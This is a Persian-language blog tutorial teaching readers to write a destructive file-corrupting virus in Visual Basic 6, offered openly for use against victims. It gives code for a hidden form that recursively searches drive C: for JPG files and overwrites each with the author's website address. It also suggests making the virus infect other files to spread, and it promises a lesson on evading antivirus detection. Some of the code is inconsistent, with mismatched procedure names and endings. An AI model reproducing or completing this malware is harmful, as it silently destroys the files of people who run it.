السلام علیک یا اهل ال VB کار .
سلام ،سلام ، همگی سلام اگه دیدین دستورات قروقاطیه مشکلی نیست اگه کپی کنید توی VB خودش درست میشه .
امروز می خواهم طریقه نوشتن ویروس معروف جیفو رو بهتون یاد بدم . حالا بخاطر اینکه گفته نشه همه اش تقلید بازی هستش ما هم ویروس مان رو برای عکس ها می نویسیم نه فایل های اجرایی .
خوب اول کار باید ویروس را تجزیه و تحلیل کینم که ببینیم چکار میکنه بطور خیلی خلاصه .
1 . این ویروس در سیستم فرد قربانی به دنبال فایل مورد نظر میگرده .
2 . در صورت پیدا کردن فایلی اون فایل رو خراب میکنه و کامل از اعتبار دیدن (عکس) ساقطش میکنه .
مر حله دوم که واسه شما برنامه نویس ها خیلی راحته (عینهو اب خوردن ) ولی بازم واسه ی تازه نفس ها یک توضیح مختصر در باره دستورات مربوط میدم .
برای این کار از دستور OPEN استفاده می کنیم . این دستور برای ذخیره و بازیابی داده ها از یک فایل هستش که شکل کلی دستور مثل زیره :
» نکته : هر پارامتری که داخل پرانتز باشه ( ) اجباری هستش ، اگه دا خل { } حداقل یکی باید استفاده بشه و اگر داخل [ ] اختیاری هست می تونید استفاده کنید یا نکنید .
Open FilePath [For Mode] As [#] FileNumber
» FilePath = مسیر فایل مورد نظر برای بازکردن
» ForMode = حالت دسترسی به فایل
» FileNumber = شماره فایل مورد نظر
ForMode میتواند مقادیر زیر را بگیرد :
1. Binary : یک فایل تصادفی را به صورت دودویی باز میکند ( منظور همان بیت ها و بایت ها است ) . در صورت نبود فایل آنرا در مسیر مورد نظر میسازد .
2. Input : فایل ترتیبی را برای خواندن باز میکند .
3. Output : فایل ترتیبی را برای نوشتن باز میکند و در صورت نبود آنرا میسازد .
4. Random : فایل را بای دسترسی تصادفی باز میکند و در صورت نبود آنرا میسازد .
پارامتر FileNumber را هم از طریق دستور FreeFile( ) بدست می آوریم این دستور شماره یک فایل آزاد را بر میگرداند . و دارای رنج خاصی است که مقدار پیش فرض ، بین 1 تا 255 فکر کنم هستش ولی خودتون هم می تونید رنجشو تعیین کنید .
خوب تا اینجا که فهمیدید چطوری باید فایل رو خرابش بکنیم . کدهاشو پاک میکنیم یا یک عددی یا رقمی رو به کدهاش اضافه می کنیم در این صورت فایل دیگه بدرد نمی خوره . و یا اگه حر فه ای باشید ( مثل من ) چاخان گفتم فقط خواستم مزاح کنم . می تونید بجای کدهاش کد خود ویروستون رو جایگزین کنید که با هر بار اجرا کردن ویرستون فعال بشه و اینطوری ویروس تون رو همه جا پخش کنید . اگه خواستید واقعا یک چیز درست حسابی بنویسین حتما کتاب رجیستری من رو که در بخش هک هستش رو بخونید امکانات خوبی رو می تونید به ویروستان اضافه کنید . اگه کار با رجیستری رو هم یاد نداشتید بگین تا آموزشش رو بذارم توی وب . آخه کتابم در مورد رجیستری هستش .
خوب از مسله اصلی زیاد پرت نشیم . دستور زیر این کار رو تمام و کمال انجام میده :
FN = FreeFile
Open "مسیر فایل" For Binary As #FN Put #FN, , strFile Close #FN
دستور Put اطلاعات را درون فایل میریزد و Get اطلاعات را میگیرد یعنی میخواند . دستور Close فایل مورد نظر را می بندد
دستور Put دارای 3 پارامتر است اولی شماره فایل ، دومی شماره رکورد برای ورود اطلاعات یعنی اطلاعات را رکورد شماره چند ذخیره کند و پارامتر 3 که اطلاعاتی هستش که میخواهید در فایل ثبت کنید . (strFile)
خوب دیدین که تا اینجا کدها مون زیاد مالی نبود . اصل کاریشو الان می خوام بگم چیزی که به ویرستون قدرت میده یعنی همون جستجو کردن .
اول از منوی Project گزینه References را انتخاب بکنید تا کادری باز شود و بعد گزینه Microsoft Scripting Runtime را علامت بزنید و سپس OKکنید . بعد در قسمت General برنامه تون این کدها رو وارد کنید .
Dim fso As New FileSystemObject Dim fld As Folder Dim FN As Integer Dim af As String
بعد یک Sub به نام Find تعریف می کنیم اینطوری :
Private Sub Find(ByVal sFol As String, sFile As String) On Error Resume Next Dim tFld As Folder, tFil As File, FileName As String Set fld = fso.GetFolder(sFol) FileName = Dir(fso.BuildPath(fld.Path, sFile), vbNormal Or _ vbHidden Or vbSystem Or vbReadOnly) While Len(FileName) <> 0 FindFile = FindFile + FileLen(fso.BuildPath(fld.Path, FileName)) af = fso.BuildPath(fld.Path, FileName) ' Load ListBox Damage (af) FileName = Dir() ' Get next file DoEvents Wend If fld.SubFolders.Count > 0 Then For Each tFld In fld.SubFolders DoEvents FindFile = FindFile + FindFile(tFld.Path, sFile) Next End If End Function
این Function دنبال فایل مورد نظر میگرده و مسیر فایل پیدا شده رو در متغییر af که از نوع رشته ای هستش میریزه . بعد متغییر af رو به روال Damage میفرسته که این روال فایل رو خراب میکنه . این هم کد روال Damage :
Private Sub Damage(ByVal FileAddress As String) FN = FreeFile Open af For Binary As #FN Put #FN, , "www.godvb.blogfa.com" Close #FN End Sub
این روال Damage اول فایل آدرس سایتمو درج میکنه . دیگه همه چیز تموم شد فقط باید در قسمت Form Load این چند خط کد رو هم بنویسید تا قسمت جستجوش عمل کنه :
Private Sub Form_Load() Me.Hide Dim sDir As String Dim vSrchString As String Dim lSize As Long sDir = "C:" sDir = Left$(sDir, 2) & "\" vSrchString = LTrim("*.jpg") lSize = FindFile(sDir, vSrchString) End Sub
در خط 8 شما می توانید پسوند فایل مورد نظ رتون رو تعریف کنید که الان jpg هستش ، در خط 6 شما باید درایو جستجو شونده رو تعیین کنید توی دستورات فقط درایو C رو میگرده دیگه جستجوی کل هارد رو گذاشتم خودتون بنویسید حداقل یکم که تمرین بکنین تا مختون باز بشه دیگه تنها چیزی که مونده باید مشخصه ShowInTaskbar فرمتون رو باید با False مقدار دهی بکنین
این هم ویروس جیفو . اگه جایی رو موندید حتما بپرسید و مطمئن باشید که حتما هم جواب میدم . اگه با حال باشین یک آموزشی توپ میخوام بذارم تا دیگه واقعا کف کنین آموزش ساخت ویروس طوریکه آنتی ویروس هم نشناستش البته پیش پا افتاده تا منظور از پیش پا افتاده چی باشه
والسلام و علیک .
مخلصیم : AHA.x92
|